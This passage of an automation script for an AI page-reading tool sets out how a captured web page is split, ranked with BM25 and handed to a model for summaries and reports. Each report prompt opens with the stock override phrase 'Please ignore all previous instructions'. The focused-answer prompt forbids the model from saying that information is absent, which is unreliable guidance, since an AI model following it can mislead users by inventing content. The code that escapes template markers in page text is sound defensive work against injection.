: 'no'\ };\ param: passages\ timeout: 60000\ onFailure: ''\ silent: true\ - label: READ THE RECORD SIZE\ type: calc\ func: set\ param: recordChars\ value: '{{record.chars}}'\ format: ''\ - label: READ THE PASSAGE COUNT\ type: calc\ func: set\ param: passageCount\ value: '{{passages.totalChunks}}'\ format: ''\ - label: READ THE FRAME COUNT\ type: calc\ func: set\ param: frameCount\ value: '{{passages.frames}}'\ format: ''\ - label: WEIGH THE TWO METHODS\ type: js\ args: recordChars, passageCount, frameCount\ code: >-\ // FULL PAGE VISION · WHICH READING METHOD\ \ // Two ways to put a large record in front of a model, and a\ recommendation between them.\ \ //\ \ // WHAT THIS IS NOT ABOUT. It is not about the context window. Current\ models take hundreds of\ \ // thousands of tokens, some of them millions, and a record of this size\ is nowhere near any\ \ // of those limits. An earlier version of this hint claimed the request\ would be "cut off at\ \ // the end". That was simply false, and a false reason for a real\ recommendation is worse than\ \ // no reason at all.\ \ //\ \ // WHAT IT IS ABOUT. Accuracy falls as the context grows, long before\ the window does. The\ \ // effect is measured and consistent across model families: information\ in the middle of a\ \ // long input is retrieved far less reliably than information at either\ end, and the drop is\ \ // steep - the same models that answer near-perfectly at a couple of\ thousand tokens lose a\ \ // large part of that accuracy by the tens of thousands. The usable\ context is reliably\ \ // shorter than the advertised one.\ \ //\ \ // So the trade is not "fits" against "does not fit". It is:\ \ //\ \ // FULL RECORD everything is visible, and nothing is chosen for the\ model - but every fact\ \ // it needs is buried among tens of thousands of tokens\ it does not.\ \ // RETRIEVAL only the passages this request needs travel, so the\ thing being asked about\ \ // sits in a short context instead of in the middle of a\ long one - and each\ \ // passage carries the frame it came from, so the answer\ can be checked.\ \ //\ \ // Below FLIP the record is short enough that position effects stay\ small and seeing\ \ // everything wins. Above it, a short focused context wins.\ \ const FLIP = 80000;\ \ \ const chars = Math.max(0, Number(args.recordChars) || 0);\ \ const passages = Math.max(0, Number(args.passageCount) || 0);\ \ const frames = Math.max(0, Number(args.frameCount) || 0);\ \ \ const tokens = Math.round(chars / 3.6);\ \ const recommended = chars > FLIP ? 'retrieval' : 'full';\ \ \ function n(v) { return v.toLocaleString('en-US'); }\ \ \ const head = '🧮 The record is **' + n(chars) + '** characters (~' +\ n(tokens) +\ ' tokens) across **' + n(frames) + '** frame(s), indexed into **' + n(passages) +\ '** passages.';\ \ const why = '\n\nThis is well inside any current context window — size\ is not the problem. ' +\ 'Accuracy is: retrieval quality falls as the context grows, and anything sitting in the ' +\ 'middle of a long input is the first thing a model loses.';\ \ const verdict = recommended === 'retrieval'\ ? '\n\n💡 **Retrieval is recommended at this length.** A short, focused context is read more ' +\ 'reliably than a long one, and every passage names the frame it came from, so each claim ' +\ 'can be checked against a screen.'\ : '\n\n💡 **Full record is recommended at this length.** It is still short enough that ' +\ 'position effects stay small, and a model that sees every frame beats one that sees a ' +\ 'good selection.';\ \ return { recommended: recommended, chars: chars, tokens: tokens,\ passages: passages,\ frames: frames, hint: head + why + verdict };\ param: methodHint\ timeout: 30000\ onFailure: ''\ silent: true\ - condition: '{{methodHint.recommended}} = full'\ label: OFFER THE FULL RECORD FIRST\ type: ask\ message: >-\ {{methodHint.hint}}\ \ \ **📄 FULL RECORD** sends every frame, in order, in one request.\ \ **🔬 RETRIEVAL** cuts the record into passages at the frame boundaries,\ ranks them against the words of each request, widens that with the terms\ the record itself uses around the best hits, and sends only the\ strongest — each one labelled with the frame it came from. Quotes are\ checked against the record afterwards and corrected.\ param: method\ options:\ - label: 📄 FULL RECORD · every frame in a single request\ value: full\ - label: 🔬 RETRIEVAL · only the passages each request needs\ value: retrieval\ default: full\ vision:\ enabled: false\ mode: area\ hint: ''\ send: true\ optionsInvalid: false\ - condition: '{{methodHint.recommended}} = retrieval'\ label: OFFER RETRIEVAL FIRST\ type: ask\ message: >-\ {{methodHint.hint}}\ \ \ **📄 FULL RECORD** sends every frame, in order, in one request.\ \ **🔬 RETRIEVAL** cuts the record into passages at the frame boundaries,\ ranks them against the words of each request, widens that with the terms\ the record itself uses around the best hits, and sends only the\ strongest — each one labelled with the frame it came from. Quotes are\ checked against the record afterwards and corrected.\ param: method\ options:\ - label: 🔬 RETRIEVAL · only the passages each request needs\ value: retrieval\ - label: 📄 FULL RECORD · every frame in a single request\ value: full\ default: retrieval\ vision:\ enabled: false\ mode: area\ hint: ''\ send: true\ optionsInvalid: false\ - label: SETTLE THE READING METHOD\ type: js\ args: method, methodHint\ code: |\ const m = String(args.method || '').trim().toLowerCase();\ if (m === 'full' || m === 'retrieval') return m;\ try {\ const r = args.methodHint;\ if (r && typeof r === 'object' && r.recommended === 'full') return 'full';\ } catch (e) { /* fall through */ }\ return 'retrieval';\ param: method\ timeout: 30000\ onFailure: ''\ silent: true\ - condition: '{{method}} = retrieval'\ label: TURN ON THE CITATIONS\ type: calc\ func: set\ param: citationRule\ value: >\ [CITING THE EVIDENCE]\ \ The evidence above is a SELECTION from the record, not all of it. Every\ passage carries a number in square brackets.\ \ - Close every distinct claim with its own citation, written `[N]` with\ the passage number and nothing else. One claim, one citation; never\ combine numbers into `[1, 2]`, and never write a frame name next to the\ number.\ \ - Use only numbers that appear in the evidence.\ \ - End with a `**Source References**` block: one blockquote per distinct\ citation you used, holding a quote copied character for character out of\ the evidence, followed by `**[N]**`. Never paraphrase inside a quote and\ never shorten one with an ellipsis — every quote is located in the\ record afterwards, restored to its exact wording and re-pointed at the\ passage it truly sits in, so copying exactly is always in your interest.\ \ - If the request asks for code, a file, a document or a page rebuild,\ put NO citation markers inside the artifact itself — output it clean,\ and place the Source References block after it.\ \ - What this selection does not cover, name as not covered. Never fill it\ from anywhere else.\ format: ''\ - condition: '{{method}} = full'\ label: TURN OFF THE CITATIONS\ type: calc\ func: set\ param: citationRule\ value: ''\ format: ''\ - condition: '{{method}} = full'\ label: USE THE WHOLE RECORD AS EVIDENCE\ type: group\ steps:\ - label: COPY THE RECORD INTO THE EVIDENCE SLOT\ type: calc\ func: set\ param: evidence\ value: '{{payload}}'\ format: ''\ - label: HARDEN THE EVIDENCE\ type: js\ args: evidence\ code: >-\ // FULL PAGE VISION · RE-ARMOUR THE EVIDENCE\ \ // The evidence arrives through a CALC step, and a CALC value is\ interpolated, which the\ \ // engine defines as consuming one layer of the `{{\` escape. So the\ text that reaches this\ \ // step has none left, and the prompt that receives it next would\ execute any `{{page}}` or\ \ // `{{serp x}}` the page happened to display. One layer goes back on,\ and the escape is\ \ // idempotent, so a value that still had one keeps exactly one.\ \ function harden(value) {\ return String(value == null ? '' : value).replace(/\{\{(?!\\)/g, '{{\\');\ }\ \ \ return harden(args.evidence);\ param: evidence\ timeout: 60000\ onFailure: ''\ silent: true\ - condition: '{{pendingAnswer}} = yes'\ label: PRESELECT FOCUSED ANSWER\ type: group\ steps:\ - label: DISARM THE INSTRUCTION ANSWER\ type: calc\ func: set\ param: pendingAnswer\ value: 'no'\ format: ''\ - label: ROUTE TO THE FOCUSED ANSWER\ type: calc\ func: set\ param: format\ value: focus\ format: ''\ - label: SKIP THE OUTPUT MENU\ type: jump\ to: RESET OUTPUT STATE\ - label: SELECT OUTPUT\ type: ask\ message: >-\ The whole page has been seen. What should be produced from it? Pick one, or\ type your own instruction or question about the page.\ param: format\ options:\ - label: ⚡️ QUICK · key takeaway plus summary\ value: quick\ - label: 📖 FULL · long-form report over the entire record\ value: full\ - label: 🧾 STRUCTURED · sectioned report with facts and figures\ value: structured\ - label: 🖼️ VISUALS · what the images, charts and diagrams show\ value: visuals\ - label: 📊 DATA · every number, table and chart as markdown tables\ value: data\ - label: 🎨 UI AUDIT · layout, hierarchy, calls to action, accessibility\ value: audit\ - label: 🖨️ REBUILD · the whole page rebuilt as a markdown document\ value: rebuild\ - label: 🧭 LINKS · every link, button and form field in its section\ value: links\ - label: 🗨️ QUOTING · verbatim citations with segment anchors\ value: quoting\ - label: 📜 RECORD · show the frame-by-frame reading itself\ value: record\ - label: 📦 EXPORT · download the answer or the full record\ value: export\ - label: ♻️ REPURPOSE · hand over to the Repurpose text command\ value: repurpose\ - value: $custom\ default: quick\ vision:\ enabled: false\ mode: area\ hint: ''\ send: true\ optionsInvalid: false\ - label: RESET OUTPUT STATE\ type: group\ steps:\ - label: CLEAR FOLLOW UP STATE\ type: calc\ func: set\ param: change\ value: ''\ format: ''\ - label: CLEAR PREVIOUS ANSWER\ type: calc\ func: set\ param: gpt\ value: ''\ format: ''\ - condition: '{{method}} = retrieval'\ label: PREPARE THE EVIDENCE\ type: group\ steps:\ - label: BUILD THE RETRIEVAL QUERY\ type: js\ args: format, focus, change\ code: >-\ // FULL PAGE VISION · WHAT THIS REQUEST IS LOOKING FOR\ \ // Turns the request at hand into something the index can be searched\ with. Three sources, in\ \ // order of precedence: a follow-up the user just typed, the instruction\ given before the\ \ // reading, and otherwise the output mode that was picked from the menu.\ \ //\ \ // The output modes are not questions, so they cannot be searched for as\ if they were. Each\ \ // one is described by the record labels it lives in and by the words\ the record uses inside\ \ // those labels - `**Visual:**` for a visual analysis, `**Table:**` and\ `**Data:**` for a data\ \ // extraction - and the ones that are inherently about the whole page\ are marked `spread`,\ \ // which makes the selector sample evenly across every frame instead of\ piling up wherever the\ \ // keywords happen to cluster. A summary built from the top of a ranking\ is not a summary.\ \ function clean(v) {\ return String(v == null ? '' : v).replace(/\s+/g, ' ').trim();\ }\ \ \ const MODES = {\ quick: { intent: 'SUMMARY', spread: true, labels: [], text: '' },\ full: { intent: 'SUMMARY', spread: true, labels: [], text: '' },\ structured: { intent: 'SUMMARY', spread: true, labels: [], text: '' },\ rebuild: { intent: 'SUMMARY', spread: true, labels: [], text: '' },\ quoting: { intent: 'SUMMARY', spread: true, labels: ['Text', 'Heading'], text: '' },\ visuals: { intent: 'TARGET', spread: false, labels: ['Visual'],\ text: 'image illustration photograph icon logo avatar chart diagram map screenshot figure colour layout typeface' },\ data: { intent: 'TARGET', spread: false, labels: ['Table', 'Data'],\ text: 'number value price date percent currency unit table row column axis series total amount rating count' },\ audit: { intent: 'TARGET', spread: false, labels: ['UI'],\ text: 'button link tab menu field form input checkbox dropdown search navigation label placeholder state disabled' },\ links: { intent: 'TARGET', spread: false, labels: ['UI'],\ text: 'link button action navigation download tab menu href anchor call to action' }\ };\ \ \ // The values the two menus can put into these slots. A menu value is a\ routing token, not\ \ // something to search the record for: retrieving the passages that\ contain the word "shorten"\ \ // would answer a question nobody asked.\ \ const MENU = {\ shorten: 1, simplify: 1, clarify: 1, expand: 1, translate: 1, factCheck: 1,\ export: 1, repurpose: 1, return: 1, retry: 1, no: 1, record: 1, focus: 1\ };\ \ \ const followUp = clean(args.change);\ \ const mode = clean(args.format).toLowerCase();\ \ \ // A follow-up the user just typed outranks everything: it is the newest\ thing they said.\ \ if (followUp !== '' &&\ !Object.prototype.hasOwnProperty.call(MENU, followUp) &&\ !Object.prototype.hasOwnProperty.call(MODES, followUp)) {\ return { text: followUp, intent: 'QUERY', spread: false, labels: [], skip: false,\ source: 'follow-up' };\ }\ \ \ // The instruction given before the reading, when the focused answer is\ what is being produced.\ \ let request = '';\ \ try {\ const f = args.focus;\ if (f && typeof f === 'object' && f.request) request = clean(f.request);\ } catch (e) { request = ''; }\ \ \ if (mode === 'focus' && request !== '') {\ return { text: request, intent: 'QUERY', spread: false, labels: [], skip: false,\ source: 'instruction' };\ }\ \ \ // Two outputs never read the evidence at all: SHOW THE RECORD prints\ the whole record and\ \ // the export writes it to a file. Running a selection for them would\ burn a BM25 pass over\ \ // every passage to produce something nobody looks at.\ \ if (mode === 'record' || mode === 'export') {\ return { text: '', intent: 'NONE', spread: true, labels: [], skip: true,\ source: 'not needed' };\ }\ \ \ const preset = Object.prototype.hasOwnProperty.call(MODES, mode) ?\ MODES[mode] : null;\ \ if (preset) {\ // The instruction from before the reading still colours a preset output, because it is\ // what the record was written to serve.\ const text = (preset.text + ' ' + request).trim();\ return { text: text, intent: preset.intent, spread: preset.spread,\ labels: preset.labels, skip: false, source: 'output mode' };\ }\ \ \ // Anything else in the output menu is a free instruction typed by the\ user.\ \ if (mode !== '') {\ return { text: clean(args.format), intent: 'QUERY', spread: false, labels: [],\ skip: false, source: 'instruction' };\ }\ \ \ return { text: request, intent: 'SUMMARY', spread: true, labels: [],\ skip: false,\ source: 'whole record' };\ param: query\ timeout: 30000\ onFailure: ''\ silent: true\ - label: SELECT THE EVIDENCE\ type: js\ args: passages, query, payload\ code: >-\ // FULL PAGE VISION · EVIDENCE SELECTION\ \ // Picks the passages this one request needs and lays them out with a\ map that binds every\ \ // passage number to the frame it came from.\ \ //\ \ // The scoring is BM25 over the passage index, run once per keyword set\ and fused by\ \ // reciprocal rank, which is the standard way to combine several\ rankings without having to\ \ // make their scores comparable. Three sets are used:\ \ //\ \ // A · the request's own words.\ \ // B · dictionary-free prefix stems of them, so an inflected language\ still matches -\ \ // "Schriftarten" in the request finds "Schriftart" in the record\ without anybody\ \ // shipping a stemmer.\ \ // C · the words the record itself uses around the first-pass hits.\ This is the classic\ \ // pseudo-relevance feedback step: take the strongest passages\ from pass one, find the\ \ // terms that are common inside them and rare everywhere else, and\ search again with\ \ // those. It is the same job the source command gives to a model -\ "keywords that would\ \ // appear inside the ANSWER passage itself, phrased the way this\ corpus phrases things" -\ \ // except that here the corpus is asked instead of guessed, which\ costs nothing, cannot\ \ // hallucinate a term, and is automatically in the record's own\ language and wording.\ \ //\ \ // Three things make this different from a plain search:\ \ //\ \ // * LABEL BOOST. Our passages are not prose, they are labelled\ bullets. A data extraction\ \ // wants the passages carrying `**Table:**` and `**Data:**`, and\ saying so directly beats\ \ // hoping the word "table" happens to appear.\ \ //\ \ // * SPREAD. A summary, a report or a page rebuild is about the whole\ page. Ranking cannot\ \ // answer that question - the top of any ranking is wherever the\ keywords cluster - so\ \ // these sample evenly across the frames instead, from the first to\ the last.\ \ //\ \ // * NEIGHBOURS. A bullet cut at a passage border finishes in the next\ one. After the\ \ // selection is made, a few immediate neighbours of the strongest\ hits are pulled in, in\ \ // reading order, so a `**Cut:**` never arrives without its other\ half.\ \ //\ \ // The output is always in reading order, never in score order: the\ record's own sequence is\ \ // information, and a model handed frames 12, 3, 40, 7 has to\ reconstruct it before it can use\ \ // anything.\ \ const BUDGET = 40000;\ \ const RRF_K = 60;\ \ const MAX_PICK = 60;\ \ \ function norm(s) {\ return String(s == null ? '' : s)\ .normalize('NFKC')\ .replace(/[\u2010-\u2015\u2212]/g, '-')\ .replace(/[\u2018\u2019\u201C\u201D\u00AB\u00BB]/g, '"')\ .replace(/\s+/g, ' ')\ .toLowerCase()\ .trim();\ }\ \ \ const CJK =\ /[\u3040-\u30FF\u3400-\u4DBF\u4E00-\u9FFF\uAC00-\uD7AF\u0E00-\u0E7F]/;\ \ \ function words(s) {\ const out = [];\ const parts = norm(s).split(/[^\p{L}\p{N}\p{M}]+/u);\ for (let i = 0; i < parts.length; i++) {\ const p = parts[i];\ if (!p) continue;\ if (CJK.test(p)) {\ if (p.length <= 2) { out.push(p); continue; }\ for (let j = 0; j + 2 <= p.length; j++) out.push(p.substr(j, 2));\ } else if (p.length >= 3) {\ out.push(p);\ }\ }\ return out;\ }\ \ \ function uniq(list, cap) {\ const seen = {}, out = [];\ for (let i = 0; i < list.length; i++) {\ const k = list[i];\ if (!k || seen[k]) continue;\ seen[k] = 1;\ out.push(k);\ if (cap && out.length >= cap) break;\ }\ return out;\ }\ \ \ // A hit only counts when the term starts at a word boundary. Without\ that guard "art" scores\ \ // on "start", "particular" and "Artefakte", and a request about\ typefaces retrieves the\ \ // sidebar.\ \ const WORDCH = /[0-9\p{L}\p{M}]/u;\ \ function tf(hay, kw) {\ let n = 0, i = 0;\ while ((i = hay.indexOf(kw, i)) !== -1) {\ if (i === 0 || !WORDCH.test(hay.charAt(i - 1))) n++;\ i += kw.length;\ }\ return n;\ }\ \ \ let index = { chunks: [], totalChunks: 0, totalChars: 0 };\ \ try {\ const p = args.passages;\ if (p && typeof p === 'object' && p.chunks) index = p;\ } catch (e) { /* fall through to the whole record */ }\ \ \ const chunks = index.chunks || [];\ \ const fallback = String(args.payload == null ? '' : args.payload);\ \ \ if (!chunks.length) {\ return { text: fallback, stats: '', picked: 0, total: 0, ok: 'no', mode: 'whole record' };\ }\ \ \ let q = { text: '', intent: 'SUMMARY', spread: true, labels: [] };\ \ try {\ const raw = args.query;\ if (raw && typeof raw === 'object') q = raw;\ } catch (e) { /* keep the default */ }\ \ \ const labels = Array.isArray(q.labels) ? q.labels : [];\ \ const spread = q.spread === true || q.spread === 'true';\ \ \ // Some outputs do not read the evidence at all. Selecting for them\ would be a full BM25 pass\ \ // over every passage to produce something nobody looks at.\ \ if (q.skip === true || q.skip === 'true') {\ return { text: fallback, stats: '', picked: 0, total: 0, ok: 'no', mode: 'not needed',\ views: 0, expanded: 0 };\ }\ \ \ const N = chunks.length;\ \ const lower = chunks.map(function (c) { return norm(c.text); });\ \ const lens = chunks.map(function (c) { return String(c.text).length; });\ \ let avgdl = 0;\ \ for (let i = 0; i < N; i++) avgdl += lens[i];\ \ avgdl = avgdl / Math.max(N, 1);\ \ \ // Which passages carry the labels this output lives in.\ \ const labelHit = chunks.map(function (c) {\ if (!labels.length) return false;\ for (let i = 0; i < labels.length; i++) {\ if (String(c.text).indexOf('**' + labels[i] + ':**') !== -1) return true;\ }\ return false;\ });\ \ \ function rank(kws) {\ const k1 = 1.5, b = 0.75, df = {};\ kws.forEach(function (kw) {\ let c = 0;\ for (let i = 0; i < N; i++) if (lower[i].indexOf(kw) !== -1) c++;\ df[kw] = c;\ });\ const scored = [];\ for (let i = 0; i < N; i++) {\ let sc = 0;\ for (let j = 0; j < kws.length; j++) {\ const t = tf(lower[i], kws[j]);\ if (t <= 0) continue;\ const idf = Math.log((N - df[kws[j]] + 0.5) / (df[kws[j]] + 0.5) + 1);\ sc += idf * (t * (k1 + 1)) / (t + k1 * (1 - b + b * lens[i] / avgdl));\ }\ if (sc > 0) scored.push({ i: i, s: sc });\ }\ scored.sort(function (a, b2) { return b2.s - a.s; });\ return scored;\ }\ \ \ const surface = uniq(words(q.text || ''), 24);\ \ const stems = uniq(surface.map(function (w) {\ if (w.length < 6) return '';\ const cut = Math.max(5, Math.ceil(w.length * 0.75));\ return cut < w.length ? w.slice(0, cut) : '';\ }).filter(Boolean), 24).filter(function (x) { return surface.indexOf(x)\ === -1; });\ \ \ const sets = [];\ \ if (surface.length) sets.push(surface);\ \ if (stems.length) sets.push(stems);\ \ \ const rrf = {};\ \ let bestRaw = 0;\ \ let views = 0;\ \ let firstPass = [];\ \ \ function fuse(kws) {\ const ranked = rank(kws);\ if (!ranked.length) return [];\ if (ranked[0].s > bestRaw) bestRaw = ranked[0].s;\ for (let r = 0; r < ranked.length && r < 80; r++) {\ rrf[ranked[r].i] = (rrf[ranked[r].i] || 0) + 1 / (RRF_K + r + 1);\ }\ views++;\ return ranked;\ }\ \ \ for (let si = 0; si < sets.length; si++) {\ const ranked = fuse(sets[si]);\ if (si === 0) firstPass = ranked;\ }\ \ \ // Set C · pseudo-relevance feedback. Only for a question somebody\ actually typed: a canned\ \ // word list for a preset output has nothing to expand, and expanding a\ spread query would\ \ // pull the sample towards whatever the first pass happened to like.\ \ let expansion = [];\ \ if (String(q.intent || '') === 'QUERY' && firstPass.length) {\ const top = firstPass.slice(0, 5).map(function (x) { return x.i; });\ const inTop = {};\ top.forEach(function (i) {\ const seen = {};\ words(chunks[i].text).forEach(function (w) {\ if (seen[w]) return;\ seen[w] = 1;\ inTop[w] = (inTop[w] || 0) + 1;\ });\ });\ const already = {};\ sets.forEach(function (set) { set.forEach(function (w) { already[w] = 1; }); });\ const cand = [];\ Object.keys(inTop).forEach(function (w) {\ if (already[w] || w.length < 4 || inTop[w] < 2) return;\ let df = 0;\ for (let i = 0; i < N; i++) if (lower[i].indexOf(w) !== -1) df++;\ if (df === 0 || df > N * 0.5) return;\ cand.push({ w: w, s: inTop[w] * Math.log(N / df) });\ });\ cand.sort(function (a, b2) { return b2.s - a.s; });\ expansion = cand.slice(0, 12).map(function (c) { return c.w; });\ if (expansion.length) fuse(expansion);\ }\ \ \ // The label boost is additive and deliberately large enough to outrank\ a weak lexical hit:\ \ // for a labelled output the label IS the query, and the words are only\ a tie-breaker.\ \ if (labels.length) {\ for (let i = 0; i < N; i++) {\ if (labelHit[i]) rrf[i] = (rrf[i] || 0) + 1 / RRF_K;\ }\ }\ \ \ let fused = Object.keys(rrf).map(function (k) {\ return { i: parseInt(k, 10), s: rrf[k] };\ });\ \ fused.sort(function (a, b2) { return b2.s - a.s; });\ \ \ let picked = [];\ \ let mode;\ \ \ if (spread || !fused.length) {\ // Even coverage of the whole record, in reading order, as many as the budget allows.\ // "no lexical match" is only honest when there were words to match with: a summary has no\ // question behind it, so nothing failed - it was never a search in the first place.\ mode = fused.length ? 'spread'\ : (sets.length ? 'spread (no lexical match)' : 'spread (whole record)');\ const step = Math.max(1, Math.floor(N / Math.max(1, Math.min(MAX_PICK, N))));\ for (let i = 0; i < N && picked.length < MAX_PICK; i += step) picked.push(i);\ // The first and the last frame anchor a summary: the page starts and ends somewhere.\ if (picked.indexOf(0) === -1) picked.unshift(0);\ if (picked.indexOf(N - 1) === -1) picked.push(N - 1);\ // Strong lexical hits are added on top, because a spread is a floor and not a ceiling.\ for (let f = 0; f < fused.length && f < 12; f++) {\ if (picked.indexOf(fused[f].i) === -1) picked.push(fused[f].i);\ }\ } else {\ mode = labels.length ? 'labelled + ranked' : 'ranked';\ for (let f = 0; f < fused.length && picked.length < MAX_PICK; f++) picked.push(fused[f].i);\ }\ \ \ // Neighbour recovery for the strongest hits, so a bullet cut at a\ border keeps its other half.\ \ const chosen = {};\ \ picked.forEach(function (i) { chosen[i] = 1; });\ \ let grown = 0;\ \ for (let p = 0; p < picked.length && grown < 8; p++) {\ const i = picked[p];\ if (i > 0 && !chosen[i - 1]) { chosen[i - 1] = 1; picked.push(i - 1); grown++; }\ if (grown >= 8) break;\ if (i + 1 < N && !chosen[i + 1]) { chosen[i + 1] = 1; picked.push(i + 1); grown++; }\ }\ \ \ // Budget in order of strength, then restore reading order.\ \ const strength = {};\ \ picked.forEach(function (i, r) { strength[i] = r; });\ \ picked.sort(function (a, b2) { return strength[a] - strength[b2]; });\ \ \ const selected = [];\ \ let used = 0;\ \ for (let p = 0; p < picked.length; p++) {\ const i = picked[p];\ if (used + lens[i] > BUDGET && selected.length > 0) continue;\ selected.push(i);\ used += lens[i];\ }\ \ selected.sort(function (a, b2) { return a - b2; });\ \ \ if (!selected.length) {\ return { text: fallback, stats: '', picked: 0, total: N, ok: 'no', mode: 'whole record' };\ }\ \ \ let map = '';\ \ let body = '';\ \ selected.forEach(function (i, k) {\ const n = k + 1;\ map += '[' + n + '] = ' + chunks[i].frame + '\n';\ body += '[' + n + '] ' + chunks[i].text + '\n\n---\n\n';\ });\ \ \ const text =\ '━━━ EVIDENCE MAP ━━━\n' + map +\ '━━━━━━━━━━━━━━━━━━━━\n\n' + body.replace(/\n+---\n+$/, '\n');\ \ const gaps = N - selected.length;\ \ const stats = '`' + selected.length + '/' + N + ' passages · ' +\ used.toLocaleString('en-US') + ' chars · ' + mode + ' · ' + views +\ ' query view' + (views === 1 ? '' : 's') +\ (expansion.length ? ' · expanded' : '') +\ (gaps > 0 ? ' · ' + gaps + ' passage(s) not sent' : ' · complete') + '`';\ \ return { text: text, stats: stats, picked: selected.length, total: N,\ ok: 'yes',\ mode: mode, views: views, expanded: expansion.length };\ param: selection\ timeout: 60000\ onFailure: ''\ silent: true\ - label: ADOPT THE SELECTED EVIDENCE\ type: calc\ func: set\ param: evidence\ value: '{{selection.text}}'\ format: ''\ - label: HARDEN THE SELECTED EVIDENCE\ type: js\ args: evidence\ code: >-\ // FULL PAGE VISION · RE-ARMOUR THE EVIDENCE\ \ // The evidence arrives through a CALC step, and a CALC value is\ interpolated, which the\ \ // engine defines as consuming one layer of the `{{\` escape. So the\ text that reaches this\ \ // step has none left, and the prompt that receives it next would\ execute any `{{page}}` or\ \ // `{{serp x}}` the page happened to display. One layer goes back on,\ and the escape is\ \ // idempotent, so a value that still had one keeps exactly one.\ \ function harden(value) {\ return String(value == null ? '' : value).replace(/\{\{(?!\\)/g, '{{\\');\ }\ \ \ return harden(args.evidence);\ param: evidence\ timeout: 60000\ onFailure: ''\ silent: true\ - label: REPORT THE SELECTION\ type: say\ message: 🔎 {{selection.stats}}\ - condition: '{{format}} = focus'\ label: FOCUSED ANSWER\ type: group\ steps:\ - label: GENERATE FOCUSED ANSWER\ type: gpt\ prompt: >-\ Please ignore all previous instructions. Write your entire answer in\ {{outputLanguage}}.\ \ \ {{promptHeader}}\ \ \ {{buildRule}}\ \ \ Whatever stands under [YOUR REQUEST] is what you have to do with the\ record. The frames were read with this request already in mind, so the\ record was written to serve it.\ \ \ [RULES]\ \ - Do what the request says and output the result alone: no preamble, no\ account of what you did, no closing remark. Where it asks for code or a\ document, the answer is that code or that document and nothing else.\ \ - Never reply that the record "does not contain" what was asked for. The\ record contains the page; what was asked for is what you build out of\ it. A request to build something can always be carried out, because the\ material is already there.\ \ - Take every word, number, heading, label, price, name and image\ description from the record and reproduce it exactly.\ \ - Use every piece of visual form the record gives you - typefaces,\ sizes, colours, spacing, alignment, layout, order. Where the record is\ silent, choose something consistent with what it does say and carry on;\ do not stop to ask and do not leave a placeholder for a decision you can\ make yourself.\ \ - Where the record marks a region `[unreadable]` or `NOT READ`, put a\ clearly marked placeholder at that spot and continue. A gap never stops\ the work.\ \ - If the request is a question rather than a task, answer it from the\ record and name the frame it came from.\ \ \ [YOUR REQUEST]:\ \ {{focus.request}}\ \ \ [EVIDENCE]:\ \ {{citationRule}}{{evidence}}\ \ \ [ANSWER]:\ param: gpt\ isolated: true\ - label: AFTER FOCUSED ANSWER\ type: jump\ to: VERIFY OUTPUT\ - condition: '{{format}} = quick'\ label: QUICK SUMMARY\ type: group\ steps:\ - label: GENERATE QUICK SUMMARY\ type: gpt\ prompt: >-\ Please ignore all previous instructions. Write your entire answer in\ {{outputLanguage}}.\ \ \ {{promptHeader}}\ \ \ {{groundRule}}\ \ \ [REPORT FORMAT]\ \ \ ### Key Takeaway\ \ The single most important point, one sentence.\ \ \ ### Summary\ \ Bullet points covering every substantive idea, fact and figure on the\ page, including what the visuals contribute. No word limit; completeness\ beats brevity, but do not pad. If the page holds a dialogue or thread,\ extract the main discussion points and name the most active\ participants. Do not use emoji.\ \ \ **Related queries:**\ \ \ ```markdown\ \ Short related query\ \ ```\ \ \ ```markdown\ \ Short related query\ \ ```\ \ \ ```markdown\ \ Short related query\ \ ```\ \ \ [EVIDENCE]:\ \ {{citationRule}}{{evidence}}\ \ \ [REPORT FOLLOWED BY RELATED QUERIES]:\ param: gpt\ isolated: true\ - label: AFTER QUICK SUMMARY\ type: jump\ to: VERIFY OUTPUT\ - condition: '{{format}} = full'\ label: FULL REPORT\ type: group\ steps:\ - label: GENERATE FULL REPORT\ type: gpt\ prompt: >-\ Please ignore all previous instructions. Write your entire answer in\ {{outputLanguage}}.\ \ \ {{promptHeader}}\ \ \ {{groundRule}}\ \ \ Write the long-form report. Work through the record from the first\ segment to the last so that no part of the page is under-represented.\ \ \ [REPORT FORMAT]\ \ \ ### Key Takeaway\ \ One sentence.\ \ \ ### Executive Summary\ \ Five to nine bullets.\ \ \ ### Detailed Findings\ \ Grouped by theme, one `####` subheading per theme, bullets underneath.\ Name the segment a finding came from where it helps.\ \ \ ### What The Visuals Show\ \ Bullets covering images, charts, diagrams and layout signals.\ \ \ ### Numbers, Dates And Named Entities\ \ A markdown table with the columns Item, Value, Context.\ \ \ ### Open Questions And Unreadable Regions\ \ Bullets. Include anything the record marks as `[unreadable]` or `NOT\ READ`.\ \ \ **Related queries:**\ \ \ ```markdown\ \ Short related query\ \ ```\ \ \ ```markdown\ \ Short related query\ \ ```\ \ \ ```markdown\ \ Short related query\ \ ```\ \ \ [EVIDENCE]:\ \ {{citationRule}}{{evidence}}\ \ \ [FINAL REPORT]:\ param: gpt\ isolated: true\ - label: AFTER FULL REPORT\ type: jump\ to: VERIFY OUTPUT\ - condition: '{{format}} = structured'\ label: STRUCTURED REPORT\ type: group\ steps:\ - label: GENERATE STRUCTURED REPORT\ type: gpt\ prompt: >-\ Please ignore all previous instructions. Write your entire answer in\ {{outputLanguage}}.\ \ \ {{promptHeader}}\ \ \ {{groundRule}}\ \ \ Turn the record into a structured analyst report. Every line must be\ traceable to it. Leave a section out entirely if the page contains\ nothing for it.\ \ \ [REPORT FORMAT]\ \ \ ### Subject And Purpose\ \ ### Core Statements\ \ ### Facts And Figures\ \ Markdown table: Item | Value | Context\ \ \ ### Visual Inventory\ \ Markdown table: Element | Type | What it shows\ \ \ ### Named Entities\ \ Markdown table: Name | Type | Role on the page\ \ \ ### Actions, Offers And Calls To Action\ \ ### Gaps, Caveats And Unreadable Regions\ \ \ **Related queries:**\ \ \ ```markdown\ \ Short related query\ \ ```\ \ \ ```markdown\ \ Short related query\ \ ```\ \ \ ```markdown\ \ Short related query\ \ ```\ \ \ [EVIDENCE]:\ \ {{citationRule}}{{evidence}}\ \ \ [STRUCTURED REPORT]:\ param: gpt\ isolated: true\ - label: AFTER STRUCTURED REPORT\ type: jump\ to: VERIFY OUTPUT\ - condition: '{{format}} = visuals'\ label: VISUAL ANALYSIS\ type: group\ steps:\ - label: GENERATE VISUAL ANALYSIS\ type: gpt\ prompt: >-\ Please ignore all previous instructions. Write your entire answer in\ {{outputLanguage}}.\ \ \ {{promptHeader}}\ \ \ {{groundRule}}\ \ \ Report exclusively on what was *seen* rather than read: photographs,\ illustrations, icons, charts, diagrams, maps, screenshots, layout and\ visual hierarchy. This is the part a plain text extraction would have\ thrown away.\ 